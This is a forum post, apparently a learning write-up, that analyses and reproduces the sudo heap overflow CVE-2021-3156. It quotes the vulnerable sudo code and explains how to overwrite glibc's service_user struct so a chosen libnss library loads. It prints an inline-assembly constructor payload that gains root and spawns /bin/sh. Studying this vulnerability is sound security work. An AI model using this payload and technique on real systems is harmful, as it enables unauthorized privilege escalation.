首页
论坛
课程
招聘
[原创]从ctf到realworld - CVE-2021-3156 分析复现
2021-5-18 11:50 4445

[原创]从ctf到realworld - CVE-2021-3156 分析复现

2021-5-18 11:50
4445

环境

Ubuntu 18.04

 

sudo-1.8.21p2

 

glibc-2.27

漏洞成因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int
set_cmnd(void){
    .....
    //获取所有命令行参数的长度
    for (size = 0, av = NewArgv + 1; *av; av++)
    size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
    sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
    debug_return_int(-1);
    }
    //将命令行参数复制到user_args 。
    for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
        while (*from) {
        //漏洞点,当以反斜杠结尾时造成heap overflow
        if (from[0] == '\\' && !isspace((unsigned char)from[1]))
            from++;
        *to++ = *from++;
        }
        *to++ = ' ';
    }
    *--to = '\0';

以该参数为例:

 

set args -s ‘\’ “AAAAAAAAAAAAAAAAAAA”

 

当form[0] == ‘\’时,from++ 当前字符串的结束符 ,to++ = from++ ,form指向下个字符串的起始位置(此时为A),while 循环内,将第二个字符串又写入to中,实际写入长度会超过堆块大小。

 

可利用点:

  1. 分配的堆块大小可控,由所有命令行参数的长度来决定。
  2. 可控制堆溢出的数据, 溢出为’\’的下一个字符串决定,可利用环境变量。
  3. 可写入null数据,from == ‘\’ 时,to = from++ 将null字符写入。

Exploitation:

作者说有三种利用手段,我选择了可能最好复现的手段。

 

将堆块溢出到service_user 字段的name

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object*/
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

nss_load_library 会使用该结构体来载入一个新的动态链接库。据说nss_load_librray在有堆溢出的情况下,常用于提权。之后可以继续深入研究该函数的调用过程和用处,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
                     ni->name);
      if (ni->library == NULL)
    return -1;
    }
 
  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
              + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];
 
      //构建动态库的名称 libnss_*.so
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                          "libnss_"),
                    ni->name),
              ".so"),
        __nss_shlib_revision);
 
      ni->library->lib_handle = __libc_dlopen (shlib_name);
      if (ni->library->lib_handle == NULL)
    {
      /* Failed to load the library. Try a fallback.  */
      int n = __snprintf(shlib_name, shlen, "libnss_%s.so.%d.%d",
               ni->library->name, __GLIBC__, __GLIBC_MINOR__);
      if (n >= shlen)
        ni->library->lib_handle = NULL;
      else
        ni->library->lib_handle = __libc_dlopen (shlib_name);
 
      if (ni->library->lib_handle == NULL)
        {
          /* Ok, really fail now.  */
          ni->library->lib_handle = (void *) -1l;
          __set_errno (saved_errno);
        }
    }

这个函数我们需要去命中

1
ni->library->lib_handle = __libc_dlopen (shlib_name);

观察判断我们的目标在if (ni->library->lib_handle == NULL)内部,但是由于 ASLR 的存在,并且没有堆地址的泄露,所以我们没有办法确保ni->library->lib_handle 一定为空,但是在if (ni->library == NULL)的初始化情况,会新建一个service_user ,此时的ni->library->lib_handle 为空。

 

还有一个问题就是在载入过程中会遍历service_user 的next指针,所以不能随意将该字段写垃圾指针,应将其置为NULL。由于heap溢出可能会覆盖目标service_user结构体之前的service_user 导致遍历时出错。所以尽量覆盖到第一个service_user 来确保成功利用。

 

所以堆溢出覆盖service_user的数据为

1
2
3
ni->library == NULL
ni->name = 待加载so的名称
ni->next = NULL

控制堆分配:

在文章他们用名称为systemd的service_user ,从复现的角度来看我们也选择该名称的service_user ,当然也应该明白为什么,将这一步留到之后的分析中。
图片描述

 

在文章中作者,在内存空间搜索了“systemd ” 和 “mymachine”来定位待溢出的目标,但是我们通过搜索字符串我们发现只能找到systemd的堆块。

 

我们知道service_user 是个单链表,这里通过next指针将这条service_user 链表还原。
图片描述

 

0x563f627d6c58该地址并非一个堆块地址,所以猜测是一个存放service_user *的堆空间那么这个链有两个结构。

 

而name == “systemd “的第二个service_user链表,链上仅有一个结构体。

 

但是调试exp时发现,实际使用的溢出的目标堆块地址均不在这两条链上,可能在后期研究nss_load_library 时,会得到解答。也可以通过next指针回溯当时堆块所在的service_user 链。
图片描述

 

由于name=”x/x”

 

按照拼接规则
图片描述

 

实际会加载libnss_x/s.so.2 的动态链接库, 动态链接库代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
static void __attribute__((constructor)) _init(void) {
  __asm __volatile__(
      "addq $64, %rsp;"
      // setuid(0);
      "movq $105, %rax;"
      "movq $0, %rdi;"
      "syscall;"
 
 
      // setgid(0);
      "movq $106, %rax;"
      "movq $0, %rdi;"
      "syscall;"
 
 
      // execve("/bin/sh");
      "movq $59, %rax;"
      "movq $0x0068732f6e69622f, %rdi;"
      "pushq %rdi;"
      "movq %rsp, %rdi;"
      "movq $0, %rdx;"
      "pushq %rdx;"
      "pushq %rdi;"
      "movq %rsp, %rsi;"
      "syscall;"
 
 
      // exit(0);
      "movq $60, %rax;"
      "movq $0, %rdi;"
      "syscall;"
 
);
}

总结

本次复现还残留了不少问题

  1. 堆分配的细节
  2. 如何去定位溢出的service_user 结构?
  3. nss_load_library 的调用过程和它的作用。
  4. 作者如何发现该漏洞? fuzz ? 审计?后期尝试使用AFLfuzz测试下。

本次复现算是踏上了从ctf到真实环境漏洞的第一步, 希望锲而不舍。

引用

https://www.kalmarunionen.dk/writeups/sudo/
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://github.com/Rvn0xsy/CVE-2021-3156-plus


[注意] 招人!base上海,课程运营、市场多个坑位等你投递!

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回